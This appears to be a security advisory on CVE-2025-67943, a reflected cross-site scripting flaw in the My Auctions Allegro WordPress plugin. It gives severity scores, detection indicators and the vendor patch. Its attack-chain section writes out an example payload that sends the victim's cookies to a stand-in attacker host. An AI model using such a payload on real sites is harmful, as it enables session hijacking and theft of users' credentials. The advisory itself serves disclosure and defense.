CVE-2025-67943: 
WordPress vulnerability analysis and mitigation

CVE-2025-67943 is a Reflected Cross-Site Scripting (XSS) vulnerability in the My Auctions Allegro WordPress plugin developed by wphocus. It affects all versions of the plugin up to and including 3.6.32, and was reported by security researcher Skalucy on October 29, 2025, with public disclosure on January 19–22, 2026. The vulnerability was assigned a CVSS v3.1 base score of 7.1 (High) by CISA-ADP (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. User-supplied input is not properly sanitized or encoded before being reflected back in the HTTP response, allowing an attacker to inject arbitrary JavaScript into the page rendered in a victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a victim must click a crafted malicious link. The scope is changed, meaning the injected script executes in the context of the victim's browser session on the affected site (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who clicks a crafted link, potentially leading to session hijacking, credential theft, redirection to malicious sites, or injection of unwanted advertisements and HTML content. Because the scope is changed (S:C), the impact extends beyond the plugin itself to the broader WordPress site context. Confidentiality, integrity, and availability are each assessed as Low impact, consistent with typical reflected XSS outcomes (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no evidence of active in-the-wild exploitation or threat actor attribution. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites running the My Auctions Allegro plugin (version ≤ 3.6.32) using tools like WPScan, Shodan, or Google dorks targeting the plugin's known file paths.
2. Identify vulnerable parameter: Locate the plugin's page or endpoint that reflects unsanitized user input in the HTTP response (e.g., a search or query parameter handled by the plugin).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, such as ?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user via phishing email, social engineering, or embedding it in a forum/comment to trick the victim into clicking it.
5. Achieve objective: When the victim clicks the link and the page loads, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or redirection to attacker-controlled infrastructure (Patchstack).

• Network: HTTP requests to the affected WordPress site containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters associated with the My Auctions Allegro plugin; outbound connections from victim browsers to unknown external domains shortly after visiting plugin pages.
• Logs: Web server access logs showing GET requests to plugin-related endpoints with suspicious query strings containing XSS payloads; repeated requests from different IPs with similar malicious parameter patterns.
• File System: No direct file system artifacts expected for reflected XSS; however, monitor for any newly created or modified PHP files in the plugin directory (/wp-content/plugins/my-auctions-allegro-free-edition/) that could indicate follow-on compromise.

The vendor (wphocus) has released version 3.6.33 of the My Auctions Allegro plugin, which patches this vulnerability. Site administrators should update the plugin to version 3.6.33 or later immediately via the WordPress admin dashboard. Patchstack users benefit from a virtual patching/mitigation rule that blocks exploit attempts until the plugin is updated. If an immediate update is not possible, consider temporarily deactivating the plugin or restricting access to affected pages (Patchstack).

Wordfence included this vulnerability in its weekly WordPress vulnerability report for the period of January 19–25, 2026, indicating routine tracking by the WordPress security community (Wordfence). VulnDB also catalogued the entry. No significant vendor statements, researcher commentary, or broader media coverage beyond standard vulnerability database listings have been identified.